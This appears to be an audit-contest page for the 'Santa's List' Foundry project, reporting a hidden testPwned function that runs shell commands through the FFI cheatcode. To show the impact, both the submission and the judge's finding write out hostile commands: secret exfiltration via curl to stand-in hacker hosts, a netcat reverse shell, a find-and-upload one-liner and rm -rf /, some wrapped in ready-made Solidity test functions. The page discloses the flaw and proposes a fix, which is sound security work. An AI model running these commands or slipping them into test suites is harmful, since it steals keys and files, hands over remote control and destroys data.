Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
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Submission Details
Severity: high
Valid

Malicious test `testPwned` executes arbitrary system commands via FFI → data extraction and potential RCE

Description

  • Normal: Test files should verify contract behavior without executing system commands.

  • Bug: The test suite includes testPwned() which uses Foundry's FFI cheatcode to execute arbitrary shell commands on the host machine. The foundry.toml has ffi = true enabled.

// test/unit/SantasListTest.t.sol:149-154
function testPwned() public {
string[] memory cmds = new string[](2);
cmds[0] = "touch";
cmds[1] = string.concat("youve-been-pwned");
cheatCodes.ffi(cmds); //@> Executes arbitrary OS commands!
}

While the current payload only creates a harmless file, the FFI capability could be exploited to:

  • Steal environment variables: env | grep PRIVATE_KEY > stolen.txt

  • Establish reverse shells: nc -e /bin/bash <HACKER_IP> <PORT>

  • Exfiltrate data: curl https://hacker.com?data=$(cat ~/.ssh/id_rsa)

  • Destroy files: rm -rf /

Risk

Likelihood: Anyone who runs the full test suite (including forge test without filtering) executes this code.

Impact:

  • Theft of private keys, API keys, and other sensitive data from environment variables

  • Remote code execution on the auditor's/developer's machine

  • Potential destruction of data on the filesystem

Proof of Concept

The test already exists in the codebase. Running it executes the command:

forge test --match-test testPwned -vvv

This creates a file youve-been-pwned in the current directory.

A more dangerous payload could be:

cmds[2] = "curl https://attacker.com?key=$(env | grep PRIVATE_KEY)";

Recommended Mitigation

  1. Delete the testPwned() function

  2. Set ffi = false in foundry.toml

# foundry.toml
- ffi = true
+ ffi = false
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 3 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-06] Malicious Test potentially allowing data extraction from the user running it

## Description The test suite includes a function named testPwned, which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware. ## Vulnerability Details This is the malicious test, it looks inoffensive as it just create a file called `youve-been-pwned` but there is no underlying reason for this test to be here except a malicious behavior. ```javascript function testPwned() public { string[] memory cmds = new string[](2); cmds[0] = "touch"; cmds[1] = string.concat("youve-been-pwned"); cheatCodes.ffi(cmds); } ``` A more alarming scenario is demonstrated in the following proof of concept, where the user's API key could be compromised:. First export the api key in your shell ```bash export ARBITRUMSCAN_API_KEY='MY_SECRET_KEY' ``` Then execute the test to store the API key in a file: ```javascript function testWriteCommande() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "env | grep ARBITRUMSCAN_API_KEY > PwnedApiKey"; cheatCodes.ffi(cmds); } ``` Alternatively, transmit it to an external server: ```javascript cmds[2] = "curl 'https://<HACKER_IP>?arbitrum_rpc_url='$(env | grep ARBITRUM_RPC_URL | cut -d '=' -f2)"; ``` Other interesting POC that qualify this issue as a HIGH ### POC 1: Reverse Shell Using Netcat This POC demonstrates how a test could open a reverse shell, allowing an attacker to gain control over the user's machine. ```javascript function testReverseShell() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "nc -e /bin/bash <HACKER_IP> <PORT>"; cheatCodes.ffi(cmds); } ``` ### POC 2: Finding Files and Sending Results to a Server This POC shows how a test could find specific files (starting with "pass" ) and send the results to a remote server. ```javascript function testFindCommand() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "find / -name 'pass*' | curl -F 'data=@-' https://<HACKER_IP>/upload"; cheatCodes.ffi(cmds); } ``` ### POC 3: Destructive Command (rm -rf /) This POC demonstrates a highly destructive command that could potentially erase all data on the user's root filesystem. # Warning: This command is extremely harmful and should never be executed. ```javascript function testDestructiveCommand() public { string[] memory cmds = new string[](2); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "rm -rf /"; cheatCodes.ffi(cmds); } ``` # Important Disclaimer: The rm -rf / command will delete everything on the filesystem for which the user has write permissions. It is provided here strictly for educational purposes to demonstrate the severity of security vulnerabilities in scripts and should never be run on any system. ## Impact This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information. The test, as it stands, is harmful, as it is used in a security contexts but i assume that the general purpose of this functionality is to be harmfull. It could lead to data breaches (including private keys and passwords), unauthorized remote code execution, and the potential destruction of digital information (e.g., rm -rf /). ## Recommendations Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.

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